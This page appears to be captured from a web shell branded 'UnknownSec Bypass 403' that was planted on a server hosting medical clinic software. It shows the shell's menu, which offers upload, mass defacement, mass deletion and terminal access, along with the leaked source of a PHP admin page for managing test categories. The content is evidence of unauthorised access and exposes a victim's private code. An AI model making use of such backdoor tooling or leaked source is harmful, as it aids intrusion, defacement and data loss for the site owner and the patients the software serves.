UnknownSec Bypass
403
:
/
var
/
www
/
zenithentcare
/
stmedicosoftware
/ [
drwxrwxr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
mst_test_category.php
<?php include "top1.php";?> <!-- /inner_content--> <div class="inner_content"> <!-- /inner_content_w3_agile_info--> <!-- breadcrumbs --> <div class="w3l_agileits_breadcrumbs"> <div class="w3l_agileits_breadcrumbs_inner"> <ul> <li><a href="dashboard.php">Dashboard</a><span>«</span></li> <li>Test Category</li> </ul> </div> </div> <!-- //breadcrumbs --> <div class="inner_content_w3_agile_info two_in"> <h2 class="w3_inner_tittle">Manage Test Category</h2> <!--/forms--> <div class="forms-main_agileits"> <!--/forms-inner--> <div class="forms-inner"> <!--/set-1--> <div class="set-1_w3ls"> <div class="col-md-4 button_set_one agile_info_shadow graph-form"> <h3 class="w3_inner_tittle two">Test Category </h3> <div class="form-body"> <input type="hidden" class="form-control1" id="hdid" name="hdid"> <input type="hidden" class="form-control1" id="hcat" name="hdid"> <div class="form-group"> <label for="testDepartmentyName">Category Name</label> <input type="text" class="form-control" id="category" name="category" style="text-transform:capitalize;" placeholder="Please enter category name here..."> </div> <div class="form-group"> <label for="showIn">Show In</label> <select name="type" id="type" class="form-control1" style="font-size: 14px; width: 100%;"> <option>Select Show In </option> <option>OPD </option> <option>IPD </option> <option>BOTH </option> </select> </div> <button type="submit" class="btn btn-default" id="btnsave" name="btnsave" onclick="curdcategory();">SAVE</button> <button type="submit" class="btn btn-default" id="btnclear1" name="btnclear1" onclick="clear1();">CLEAR</button> </div> </div> <div class="col-md-8 graph-form general agile_info_shadow"> <h3 class="w3_inner_tittle two">Test Category List </h3> <div class="form-body" style="overflow-x:auto;"> <?php $sql= "SELECT * from testdetailsmaster where identifier='" .$gcategoryidentifier. "' and isdeleted='".$gnotdeleted."' order by testdetailsid DESC"; $result=mysqli_query($conn, $sql) or die("Query Failed."); if (mysqli_num_rows($result)>0) { ?> <table id="studtable" class="table table-striped table-bordered"> <thead> <tr> <th>No.</th> <!-- <th>ID</th> --> <th>Category</th> <th>Show In</th> <th></th> <th></th> </tr> </thead> <tbody> <?php $serial= 1; while ($row = mysqli_fetch_assoc($result)) { ?> <tr> <td><?php echo $serial ?> </td> <!-- <td><?php echo $row['testdetailsid']; ?> </td> --> <td> <?php echo $row['testname']; ?> </td> <td> <?php echo $row['typeofcharge']; ?> </td> <td><a href="#" onclick="edit(<?php echo $row['testdetailsid']; ?>);"><i class=" glyphicon glyphicon-pencil"></i></a></td> <td><a href="#" onclick="remove(<?php echo $row['testdetailsid']; ?>);"><i class="glyphicon glyphicon-trash"></i></a></td> </tr> <?php $serial++; } } ?> </tbody> </table> </div> </div> <div class="clearfix"> </div> </div> <!--//set-1--> </div> <!--//forms-inner--> </div> <!--//forms--> </div> <!-- //inner_content_w3_agile_info--> </div> <!-- //inner_content--> <script type="text/javascript"> function remove(id) { var categoryid = id; try { var urlgetcode = 'get_category_test_details.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&categoryid=' + categoryid, dataType: 'json', async: true, cache: false, success: function(data) { $('#hdid').val(data.parcode); $('#category').val(data.parname); $('#type').val(data.showin); document.getElementById("btnsave").innerHTML = "REMOVE"; }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function edit(id) { var categoryid = id; try { var urlgetcode = 'get_category_test_details.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&categoryid=' + categoryid, dataType: 'json', async: true, cache: false, success: function(data) { $('#hdid').val(data.parcode); $('#hcat').val(data.parname); $('#category').val(data.parname); $('#type').val(data.showin); document.getElementById("btnsave").innerHTML = "UPDATE"; }, error: function(request) { alert(request.responseText); } }); } catch (Error) { alert(Error); } return; } function clear1() { $('#hdid').val(""); $('#category').val(""); $('#type').val("Select Show In"); document.getElementById("btnsave").innerHTML = "SAVE"; } function curdcategory() { var flag = true; var inputField1 = document.getElementById("category"); if (inputField1.value == "") { flag = false; alert("Please enter category."); document.getElementById("category").focus(); return false; } var inputField2 = document.getElementById("type"); if (inputField2.value == "Select Show In") { flag = false; alert("Please select show in"); document.getElementById("type").focus(); return false; } var category = document.getElementById("category").value; var oldcategory = document.getElementById("hcat").value; var type = document.getElementById("type").value; var id = document.getElementById("hdid").value; var btnopration = document.getElementById("btnsave").innerHTML; var identifier = 4; try { if (flag == true) { var urlgetcode = 'mst_curd_category_test.php'; $.ajax({ method: 'POST', url: urlgetcode, data: '&category=' + category + '&oldcategory=' + oldcategory + '&type=' + type + '&id=' + id + '&btnopration=' + btnopration + '&identifier=' + identifier, dataType: 'json', async: true, cache: false, success: function(data) { alert(data); window.location.href = "mst_test_category.php"; $('#hdid').val(""); $('#hcat').val(""); $('#category').val(""); $('#type').val("Select Show In"); }, error: function(request) { alert(request.responseText); } }); } } catch (Error) { alert(Error); } return; } $(document).ready(function() { $("#studtable").DataTable({ bLengthChange: true, "iDisplayLength": 10, bInfo: false, responsive: true, "bAutoWidth": false }); }); </script> <?php include "footer.php";?>
Copyright © 2025 - UnknownSec